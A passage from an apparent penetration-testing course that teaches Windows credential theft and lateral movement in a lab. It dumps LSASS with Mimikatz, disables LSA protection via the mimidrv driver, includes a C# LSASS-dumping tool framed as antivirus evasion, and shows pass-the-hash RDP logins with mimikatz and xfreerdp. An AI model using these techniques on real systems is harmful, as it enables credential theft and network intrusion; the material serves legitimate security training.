This protocol may seem complicated and perhaps even convoluted, but it
was designed to mitigate various network attacks and prevent the use
of fake credentials.

Now that we have explored the foundations of Kerberos authentication,
let's look at how we can dump cached credentials with Mimikatz.

Mimikatz

In this section, we'll discuss how Mimikatz may be used to extract
credentials from memory due to caching requirements of the Kerberos
protocol. We'll also discuss Local Security Authority (LSA)
protection[717] and how it can be bypassed.

Due to the automatic renewal of TGTs, password hashes are cached in
the Local Security Authority Subsystem Service (LSASS) memory space.

If we gain access to these hashes, we could crack them to obtain the
clear text password or reuse them to perform various actions (which
we'll discuss in a later module).

Since LSASS is part of the operating system and runs as SYSTEM, we
need SYSTEM (or local administrator) permissions to gain access to
the hashes stored on a target. In addition, the data structures are
not publicly documented and they are encrypted with an LSASS-stored
key.

Mimikatz,[718] written by security researcher Benjamin
Delpy,[719] is a powerful tool that we can use to extract and
manipulate credentials, tokens, and privileges in Windows. In this
section, we'll specifically use it to dump cached domain credentials
and use it for other purposes later in this module.

After launching Mimikatz from an elevated command prompt on our
Windows 10 victim machine, we'll have to tamper with the memory of the
LSASS process, which is normally not allowed since it belongs to the
SYSTEM user and not the current offsec user.

However, as administrator, the offsec user can use
SeDebugPrivilege[720] to read and modify a process under the
ownership of a different user. To do this, we'll use the Mimikatz
privilege::debug command to enable the SeDebugPrivilege by
calling AdjustTokenPrivileges as shown in Listing 48.

C:\Tools\Mimikatz> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

Listing 48 - Enabling SeDebugPrivilege with Mimikatz

Once we have enabled the SeDebugPrivilege privilege,
we'll dump all cached passwords and hashes from LSASS with
sekurlsa::logonpasswords:

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 32785103 (00000000:01f442cf)
Session           : Interactive from 1
User Name         : offsec
Domain            : corp1
Logon Server      : DC01
Logon Time        : 11/18/2019 1:53:44 AM
SID               : S-1-5-21-1364860144-3811088588-1134232237-1106
        msv :
         [00000003] Primary
         * Username : offsec
         * Domain   : corp1
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : 4f66481a65cbbdbda1dbe9554c1bd0ed
        tspkg :
        wdigest :
         * Username : offsec
         * Domain   : corp1
         * Password : (null)
        kerberos :
         * Username : offsec
         * Domain   : CORP1.COM
         * Password : (null)
        ssp :
        credman :
...

Listing 49 - Dumping credentials with Mimikatz

The inner workings of the command are quite complex and beyond the
scope of this module due to the inherent encryption and undocumented
structures employed by LSASS, but the results show the NTLM hash
of the domain offsec user as shown in the highlighted section of
Listing 49.

The wdigest[721] authentication protocol
requires a clear text password, but it is disabled in
Windows 8.1 and newer. We can enable it by creating
the UseLogonCredential registry value in the path
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Once we set this value to "1", the clear text password will be cached
in LSASS after subsequent logins.

Since 2012 (when Mimikatz was released and cached credential dumping
was popularized), Microsoft has developed mitigation techniques:
LSA Protection and Windows Defender Credential Guard.[722] In this
module, we will focus on LSA protection.

As previously mentioned, Windows divides its processes into four
distinct integrity levels. An additional mitigation level, Protected
Processes Light
(PPL)[723] was introduced from Windows 8 onwards,
which can be layered on top of the current integrity level.

In essence, this means that a process running at SYSTEM integrity
cannot access or modify the memory space of a process executing at
SYSTEM integrity with PPL enabled. To demonstrate this, we'll log on
to the Windows 2019 server appsrv01 as the admin user.

LSASS supports PPL protection,[724] which can be enabled in
the registry. This is done through the RunAsPPL DWORD value in
HKLM\SYSTEM\CurrentControlSet\Control\Lsa with a value of

This protection mechanism is disabled by default due to third-party
compatibility issues. On appsrv01 LSA Protection has already been
configured.

When LSASS is executing as a Protected Process Light, Mimikatz
fails due to insufficient permissions as shown in Listing
50.

C:\Tools\Mimikatz> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Listing 50 - Failure to dump passwords due to insufficient permissions

The sekurlsa::logonpasswords command returns the error value
0x00000005 (Access denied).

PPL protection is controlled by a bit residing in the EPROCESS kernel
object associated with the target process. If we could obtain code
execution in kernel space, we could disable the LSA protection and
dump the credentials.

Luckily, this can be achieved with Mimikatz since it comes bundled
with the mimidrv.sys driver.

We must be local administrator or SYSTEM to dump the credentials,
which means we will also have the SeLoadDriverPrivilege privilege
and the ability to load any signed drivers. Mimikatz can load the
mimidrv.sys driver with the !+ command:

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

Listing 51 - Loading mimidrv.sys into the kernel

Once the driver is loaded, we can use it to disable the PPL protection
for LSASS through the !processprotect command while supplying
the /process: option to specify the name of the process
and the /remove flag to disable PPL as shown in Listing
52.

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 536 -> 00/00 [0-0-0]

Listing 52 - Disabling LSA Protection with Mimikatz

While this technique will disable the LSA Protection it does require
that we upload the mimidrv.sys driver to the victim machine,
which may trigger antivirus.

Next, we'll again attempt to dump the cached credentials with
sekurlsa::logonpasswords:

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 225064 (00000000:00036f28)
Session           : Interactive from 1
User Name         : admin
Domain            : corp1
Logon Server      : DC01
Logon Time        : 11/19/2019 2:38:17 AM
SID               : S-1-5-21-1364860144-3811088588-1134232237-1107
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : corp1
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : c4ba63d00510613add0c6fe2b3e65f16
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : corp1
         * Password : (null)
        kerberos :
         * Username : admin
         * Domain   : CORP1.COM
         * Password : (null)
        ssp :
        credman :
...

Listing 53 - Dumping credentials after disabling LSA protection

According to this output, we have bypassed LSA protection and have
obtained the domain admin's user NTLM hash.

In the next section, we'll discuss how to dump LSASS memory without
Mimikatz.

Exercises

  1. Log on to the Windows 10 victim VM as the offsec user and dump
    the cached credentials with Mimikatz.
  2. Dump the cached credentials by calling the Mimikatz kiwi[725]
    extension from Meterpreter.
  3. Log on to the Windows 2019 server appsrv01 as the admin user and
    attempt to dump the cached credentials with Mimikatz.
  4. Use the Mimikatz driver to disable LSA Protection on appsrv01 and
    dump the credentials.

Processing Credentials Offline

In this section, we'll process the credentials "offline" by dumping
the required memory section from the target's LSASS and uploading
it to a different Windows machine, where we can safely extract the
credentials. This will help avoid detection since Mimikatz will
neither be uploaded to, nor run from, the target machine.

Memory Dump

First, we'll dump the process memory of LSASS. Windows allows us
to create a dump file,[726] which is a snapshot of a given
process. This dump includes loaded libraries and application memory.
In this example, we'll create the dump file with Task Manager.

To open Task Manager we'll right-click the task bar and select it.
Next, we'll navigate to the Details tab, locate the lsass.exe
process, right-click it and choose Create dump file as shown in
Figure 5:

Figure 5: Task Manager allows us to create a dump file

After dumping the process memory, the location of the dump file is
presented in a popup (Figure 6):

Figure 6: Dump file prompt

Once the dump file is created, we can copy it from the target to our
local Windows client where we can parse it with Mimikatz.

When opening a dump file in Mimikatz, the target machine and
the processing machine must have a matching OS and architecture. For
example, if the dumped LSASS process was from a Windows 10 64-bit
machine; we must also parse it on a Windows 10 or Windows 2016/2019
64-bit machine. However, processing the dump file requires neither
an elevated command prompt nor privilege::debug.

In this example, we'll simulate offline parsing by copying the dump
file to the C:\Toools\Mimikatz\ folder of the Windows 10
victim VM and we'll process it with Mimikatz there.

First, we'll run sekurlsa::minidump, supplying the name of
the dump file to parse, followed by sekurlsa::logonpasswords
to dump cached credentials:

C:\Tools\Mimikatz> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 32785103 (00000000:01f442cf)
Session           : RemoteInteractive from 1
User Name         : admin
Domain            : corp1
Logon Server      : DC01
Logon Time        : 11/18/2019 1:53:44 AM
SID               : S-1-5-21-1364860144-3811088588-1134232237-1106
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : corp1
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : 4f66481a65cbbdbda1dbe9554c1bd0ed
        tspkg :
        wdigest :
         * Username : admin
         * Domain   : corp1
         * Password : (null)
        kerberos :
         * Username : admin
         * Domain   : CORP1.COM
         * Password : (null)
        ssp :
        credman :
...

Listing 54 - Loading and parsing a dump file with Mimikatz

This successfully dumps the admin domain user's credentials, and
does not require Mimikatz on the target machine.

There is, however, one obvious disadvantage to this technique: Task
Manager cannot be run as a command line tool, so we'll need GUI access
to the target. Alternatively, we can create the dump file from the
command line with ProcDump[727] from SysInternals.

Since ProcDump may also have a signature that could be recognized, in
the next section we'll build our own code to create the dump file.

Exercises

  1. Use Task Manager to create a dump file on your Windows 10 victim VM
    and parse it with Mimikatz.
  2. Use ProcDump located in the C:\Tools\SysInternals folder
    to create a dump file and parse it with Mimikatz.

MiniDumpWriteDump

In this section, we'll develop our own C# application to execute a
memory dump that we can parse with Mimikatz.

When Task Manager and ProcDump create a dump file, they are invoking
the Win32 MiniDumpWriteDump[728] API. This means that we can
write our own application in C# that does the same thing.

To begin, we'll go over the function prototype as shown in Listing
55:

BOOL MiniDumpWriteDump(
  HANDLE                            hProcess,
  DWORD                             ProcessId,
  HANDLE                            hFile,
  MINIDUMP_TYPE                     DumpType,
  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

Listing 55 - MiniDumpWriteDump function prototype

This function requires a lot of arguments, but only the first four
are needed for our use case. The first two arguments (hProcess and
ProcessId) must be a handle to LSASS and the process ID of LSASS,
respectively.

The third argument (hFile) is a handle to the file that will
contain the generated memory dump, and the fourth (DumpType) is an
enumeration type[729] that we'll set to MiniDumpWithFullMemory
(or its numerical value of "2") to obtain a full memory dump.

With the foundational understanding of the API in place, we'll create
a Visual Studio C# console app on the Windows 10 client called
"MiniDump", select Release build and set the CPU architecture to
64-bit.

Next, we'll use pinvoke.net to find the P/Invoke translated
DllImport statement for MiniDumpWriteDump as shown in Listing
56:

using System;
using System.Runtime.InteropServices;

namespace MiniDump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, 
          IntPtr hFile, int DumpType, IntPtr ExceptionParam, 
          IntPtr UserStreamParam, IntPtr CallbackParam);
...

Listing 56 - DllImport statement for MiniDumpWriteDump

Before we can call MiniDumpWriteDump, we have to set up the four
required arguments. First, we'll obtain the process ID of LSASS and
open a handle to it.

To get the process ID, we can use the
GetProcessesByName[248-1] method of the
Process[730] class (supplying the process name as a
string) and select the Id property:

Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;

Listing 57 - Obtaining the process ID of LSASS

We must include the System.Diagnostics namespace to make use of the
Process class.

We can obtain a handle to the LSASS process with the Win32
OpenProcess[731] API, just as we would with process injection.

We must remember to execute the compiled application from an
elevated command prompt, otherwise OpenProcess will fail.

We'll include the DllImport statement for OpenProcess and supply
the arguments for full access, no inheritance, and the process ID of
LSASS:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace MiniDump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, 
          IntPtr hFile, int DumpType, IntPtr ExceptionParam, 
          IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, 
          int processId);

        static void Main(string[] args)
        {
            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;

            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
...

Listing 58 - Obtaining a handle to LSASS

Now that we have the first two arguments in place, we must set up the
dump file. Instead of using the Win32 CreateFile[732] API,
we can take advantage of the FileStream[733] class along
with its constructor.

To instantiate the FileStream object, we must supply two arguments:
the name (lsass.dmp) and full path of the file and the
FileMode.Create[734] option, indicating that we want to
create a new file. We'll also include the System.IO namespace to use
the FileStream class:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace MiniDump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, 
          IntPtr hFile, int DumpType, IntPtr ExceptionParam, 
          IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, 
          int processId);

        static void Main(string[] args)
        {
            FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;

            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
...

Listing 59 - Creating the empty dump file

Now that we have all the pieces in place, we can invoke
MiniDumpWriteFile. When supplying the file handle argument to
MiniDumpWriteDump, we must convert it to a C-style file handle
through the DangerousGetHandle[735] method of the
SafeHandle[736] class.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace MiniDump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, 
          IntPtr hFile, int DumpType, IntPtr ExceptionParam, 
          IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, 
          int processId);

        static void Main(string[] args)
        {
            FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;

            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);

Listing 60 - Calling MiniDumpWriteDump to create a dump file of LSASS

After compiling the project, we can execute it from an elevated
command prompt and generate a dump file as shown in Listing
61:

C:\Windows\Tasks> \\192.168.119.120\visualstudio\MiniDump\MiniDump\bin\x64\Release\MiniDump.exe

C:\Windows\Tasks> dir
 Volume in drive C has no label.
 Volume Serial Number is 564D-6BAE

 Directory of C:\Windows\Tasks

11/19/2019  06:20 AM    <DIR>          .
11/19/2019  06:20 AM    <DIR>          ..
11/19/2019  06:20 AM        49,099,206 lsass.dmp
               1 File(s)     49,099,206 bytes
               2 Dir(s)   5,823,295,488 bytes free

Listing 61 - Creating a LSASS dump file from our custom C# application

With the dump file created, we can run Mimikatz to parse it as we did in
the last section:

C:\Windows\Tasks> c:\Tools\Mimikatz\mimikatz.exe
...
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 32785103 (00000000:01f442cf)
Session           : Interactive from 1
User Name         : offsec
Domain            : corp1
Logon Server      : DC01
Logon Time        : 11/18/2019 1:53:44 AM
SID               : S-1-5-21-1364860144-3811088588-1134232237-1106
        msv :
         [00000003] Primary
         * Username : offsec
         * Domain   : corp1
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : 4f66481a65cbbdbda1dbe9554c1bd0ed
        tspkg :
        wdigest :
         * Username : offsec
         * Domain   : corp1
         * Password : (null)
        kerberos :
         * Username : offsec
         * Domain   : CORP1.COM
         * Password : (null)
        ssp :
        credman :
...

Listing 62 - Parsing the dump file with Mimikatz

The output of Listing 62 reveals that our custom
C# application did, in fact, create a valid dump file for LSASS.

By stepping away from pre-developed tools, we have improved our
tradecraft and likely avoided antivirus detection.

Exercises

  1. Write and compile a C# application that creates a dump file from
    LSASS as shown in this section.
  2. Create a PowerShell script that calls MiniDumpWriteDump to create
    a dump file.

Wrapping Up

In this module, we discussed the various authentication mechanisms and
privilege levels implemented in Windows and demonstrated various tools
and techniques to obtain credentials and escalate our privileges.

Windows Lateral Movement

Gaining access to a client workstation or a server is only the first
step in a typical penetration test. Once we gain initial access,
our goal is to compromise more of the organization's assets, either
to obtain more privileged access, or gain access to confidential
information. The course of action is dictated by the goals of the
test.

We will often use lateral movement techniques to compromise
additional machines inside the target network. For example, we may
continue a phishing campaign from a compromised client in an attempt
to send email from an internal account that is not subject to the
external security checks and may be more trusted. Another approach may
be to locate and exploit vulnerable software on internal servers since
these may be patched less often than servers directly exposed to the
Internet. We may even be able to reuse stolen credentials to obtain
access to additional systems.

Although there are many lateral movement techniques we could leverage
against a Windows infrastructure, most rely on NTLM hash or Kerberos
ticket reuse. The most valuable techniques work equally well against
both workstations and servers.

In this module, we will focus on several Windows-based lateral
movement techniques that do not rely on specific software
vulnerabilities. Each technique offers a certain element of stealth
and can improve our level of access.

There are only a few known lateral movement techniques against
Windows that reuse stolen credentials such as PsExec,[178-1]
WMI,[310-1] DCOM,[737] and PSRemoting.[738] Most of
these techniques have been around for years and are well known and
weaponized.[739] Some require clear text credentials and others
work with a password hash only. Typically, they all require local
administrator access to the target machine.

We'll begin by abusing the Windows Remote Desktop Protocol
(RDP).[740] Next, we'll describe the PsExec technique that
will allow us to create a custom implementation that is slightly more
stealthy.

Remote Desktop Protocol

RDP is a multichannel network protocol developed by Microsoft and is
used for communication between Terminal Servers and their clients.
It is commonly used in many corporate environments for remote
administration using the Windows-native Remote Desktop Connection
application.

This can also serve as an excellent tool for lateral movement that
will blend in with an organization's common network usage pattern. In
the following sections, we will discuss various RDP attacks including
the abuse of standard RDP sessions, passing the hash, proxying RDP,
and stealing clear text credentials.

Lateral Movement with RDP

Although RDP was designed for system administrators, it can also
be abused by attackers. For example, if we have gained access to
clear text credentials for a domain user and that user is a local
administrator of the target machine, we can simply use mstsc.exe
(the native RDP application) to gain access to that machine.

Let's take a moment to demonstrate this. We'll connect to the
Windows 10 client as the dave user from our Kali machine with
rdesktop. From there, we'll run mstsc.exe and
connect to appsrv01 as shown in Figure 1.

Figure 1: Performing a regular RDP login

Once connected, we are given control of the appsrv01 desktop.

Obviously, this is an excellent tool for lateral movement, even though
in this case we relied on clear text credentials since the tool does
not accept password hashes. However, this technique blends in with
normal network traffic patterns, which could help evade detection.

Connecting to a workstation with Remote Desktop will disconnect
any existing session. The /admin flag allows us to connect to
the admin session, which does not disconnect the current user if we
perform the login with the same user.

When an RDP connection is created, the NTLM hashes will reside in
memory for the duration of the session. The session does not terminate
without a proper logout, which means simply disconnecting from the
sessions will leave the hashes in memory. This creates an attack
surface in which we can harvest the credentials if we compromise the
machine.

Let's examine how the dave user's credentials are handled on the
appsrv01 target machine. If we run C:\Tools\mimikatz.exe
from an administrative console, disable the LSA protection
(!processprotect), and dump credentials
(sekurlsa::logonpasswords), we'll find the NTLM hash of the
dave user:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 532 -> 00/00 [0-0-0]

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 2225141 (00000000:0021f3f5)
Session           : RemoteInteractive from 2
User Name         : dave
Domain            : corp1
Logon Server      : DC01
Logon Time        : 3/18/2020 3:02:47 PM
SID               : S-1-5-21-1364860144-3811088588-1134232237-2102
        msv :
         [00000003] Primary
         * Username : dave
         * Domain   : corp1
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : 6904835e1ba09b07bbef109c34d515d6
...

Listing 1 - NTLM credentials in memory after RDP login

In this case, we expected these cached credentials. This means that if
we happen to compromise a well-used server (like a jump server), we
could dump any of those cached credentials as well.

This example highlights an interactive login scenario.[741]
Since we ran it over RDP from a different machine, it's also
considered a remote login. As previously mentioned, clear text
credentials are required for all interactive logins.

In an attempt to prevent attackers from stealing credentials on a
compromised server, Microsoft introduced RDP with restricted admin
mode
,[742] which allows system administrators to perform a
network login with RDP.

A network login does not require clear text credentials and will not
store them in memory, essentially disabling single sign-on. This type
of login is commonly used by service accounts.

We can use restricted admin mode by supplying the
/restrictedadmin argument to mstsc.exe.
When we supply this argument, the current login session
is used to authenticate the session as shown in Figure
2. Note that we do not enter a password for
this transaction.

Figure 2: RDP login with restricted admin mode

Since we are logged in as the dave domain user, the network login
is executed as that user. This gives us an RDP session as dave on
appsrv01.

If we open an administrative prompt and once again launch
Mimikatz, we can attempt to dump the NTLM hash:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
...

Authentication Id : 0 ; 2225141 (00000000:0021f3f5)
Session           : RemoteInteractive from 2
User Name         : dave
Domain            : corp1
Logon Server      : DC01
Logon Time        : 3/18/2020 3:02:47 PM
SID               : S-1-5-21-1364860144-3811088588-1134232237-2102
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
...

Listing 2 - NTLM hash is not present for the
dave user

Since we used restricted admin mode, no credentials have been cached,
which helps mitigate credential theft.

Restricted admin mode is disabled by default but the setting can be
controlled through the DisableRestrictedAdmin registry entry
at the following path:

HKLM:\System\CurrentControlSet\Control\Lsa

Listing 3 - Registry path for
DisableRestrictedAdmin

While restricted admin mode protects against credential theft on
the target, it is now possible to pass the hash when doing lateral
movement with mstsc.

To demonstrate this, let's perform lateral movement from the Windows
10 client to appsrv01 as the admin domain user by abusing the NTLM
hash.

We will assume that we are already in possession of the admin user
NTLM hash and are logged in to the Windows 10 client as the dave
user. We can then run mimikatz from an administrative console
and use the pth command to launch a mstsc.exe process in the
context of the admin user:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"
user    : admin
domain  : corp1
program : mstsc.exe /restrictedadmin
impers. : no
NTLM    : 2892d26cdf84d7a70e2eb3b9f05c425e
  |  PID  9500
  |  TID  9420
  |  LSA Process is now R/W
  |  LUID 0 ; 39684671 (00000000:025d8a3f)
  \_ msv1_0   - data copy @ 0000024C0DD4CCA0 : OK !
  \_ kerberos - data copy @ 0000024C0DDC19B8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000024C0E0BF748 (32) -> null

Listing 4 - Launching a mstsc.exe process in the
context of the admin user

Once the command finishes, an instance of mstsc opens as shown in
Figure 3.

Figure 3: RDP login with restricted admin mode as admin

Clicking Connect opens an RDP session on appsrv01 as admin,
achieving lateral movement with the native RDP client in Windows with
only the NTLM hash.

Even though we opened a session as admin, the dialog suggests we
are authenticating as dave. This error stems from passing the hash
with Mimikatz.

As mentioned previously, restricted admin mode is not enabled by
default. However, if we are in possession of a password hash for a
local account on the target machine, we can enable it in order to be
able to use a RDP connection to that target.

To demonstrate this, we will first disable the restricted admin mode
on our appsrv01 target. We'll do this from the RDP session as the
admin user we just created by executing the PowerShell command in
Listing 5.

Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin

Listing 5 - Deleting registry key required to use
restricted admin mode

With restricted admin mode disabled, we'll verify that we indeed
can no longer log in by first logging out of the RDP session on
appsrv01 and immediately relaunching it from Mimikatz. When we click
Connect, we are presented with the error message shown in Figure
4, which indicates that restricted admin mode
is disabled:

Figure 4: RDP login with restricted admin mode is blocked

At this point, we are able to fully demonstrate our lateral movement.
To re-enable restricted admin mode, we are going to first launch a
local instance of PowerShell on the Windows 10 machine in the context
of the admin user with Mimikatz.

mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
user    : admin
domain  : corp1
program : powershell
impers. : no
NTLM    : 2892d26cdf84d7a70e2eb3b9f05c425e
  |  PID  4312
  |  TID  9320
  |  LSA Process was already R/W
  |  LUID 0 ; 39872945 (00000000:026069b1)
  \_ msv1_0   - data copy @ 0000024C0DD4C700 : OK !
  \_ kerberos - data copy @ 0000024C0DDC1C88
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000024C0E0C13F8 (32) -> null

Listing 6 - Pass the hash to start PowerShell
in the context of the admin user

From this PowerShell prompt, we'll use the Enter-PSSession
cmdlet and supply the appsrv01 hostname as the -Computer
argument. This will provide us with shell access to our target
machine.

With this access, we'll create the registry entry as shown in Listing
7.

PS C:\Windows\system32> Enter-PSSession -Computer appsrv01

[appsrv01]: PS C:\Users\admin\Documents> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

DisableRestrictedAdmin : 0
PSPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentCont
                         rolSet\Control\Lsa
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentCont
                         rolSet\Control
PSChildName            : Lsa
PSDrive                : HKLM
PSProvider             : Microsoft.PowerShell.Core\Registry

[appsrv01]: PS C:\Users\admin\Documents> Exit
PS C:\Windows\system32>

Listing 7 - Enabling restricted admin mode

The restricted admin mode setting is updated instantly and we can once
again use it to gain access to the target.

It is worth noting that the xfreerdp RDP client,[743] which
is installed on a Kali system by default, supports restricted remote
admin connections as well.

We can demonstrate the previous example with the command shown
in Listing 8. Keep in mind that the target RDP port
must be reachable from our Kali attacking machine.

kali@kali:~$ xfreerdp /u:admin /pth:2892D26CDF84D7A70E2EB3B9F05C425E /v:192.168.120.6 /cert-ignore
[16:53:44:361] [9749:9750] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
...

Listing 8 - Passing the hash with xfreerdp

This provides us with the same GUI access we had previously from
Windows but this time, we did it directly from Kali without the clear
text password.

In this section, we discussed various ways of using Remote Desktop
to perform lateral movement, using both the conventional method and
through restricted admin mode with the NTLM hash. Next, we'll examine
more advanced methods.

Exercises

  1. Log in to the Windows 10 client as the offsec domain user. Use
    Mimikatz to pass the hash and create an mstsc process with restricted
    admin enabled in the context of the dave user.
  2. Repeat the steps to disable restricted admin mode and then
    re-enable it as part of the attack through PowerShell remoting.

Reverse RDP Proxying with Metasploit

Having GUI access to a compromised machine can greatly simplify our
post-exploitation activities. However, there are many protection
mechanisms that can complicate this approach.

In this section, we'll use reverse proxying to access machines that
are protected by edge firewalls and Network Address Translation
(NAT)[744] configurations.

NAT is typically implemented at the company edge firewall and segments
internal and external IP addresses. By design, this prevents us from
gaining access to internal machines from the Internet.

For example, if we have compromised an internal workstation through a
phishing attack as shown in Figure 5, we will not be
able to obtain a Remote Desktop session on that system even if we have
the clear text credentials.

However, we could establish an egress network connection from the
compromised internal client to our attack machine and leverage this
connection as a tunnel for other traffic, such as an RDP session.

Figure 5: Direct access to internal computers is blocked from the Internet

This is certainly not a new technique, but the concept and
implementation can be somewhat complicated. We'll explore a few
solutions. First, we'll use Meterpreter's built-in reverse proxy
feature and then we'll demonstrate a standalone solution.

Note that in the lab for this module, there is no NAT or firewall
in place and we use reverse tunneling to demonstrate and practice the
concept.

To begin, we must have an established shell on the target system,
which in this case is the Windows 10 client. To simulate a compromise,
we will log in to the machine as the admin user and reuse our
existing PowerShell or C# tradecraft to launch a 64-bit staged
Meterpreter agent that will connect to our Kali attacking machine.

Once the Meterpreter session is active, we'll send it to the
background and switch to the multi/manage/autoroute module.[745]
This will allow us to configure a reverse tunnel through the
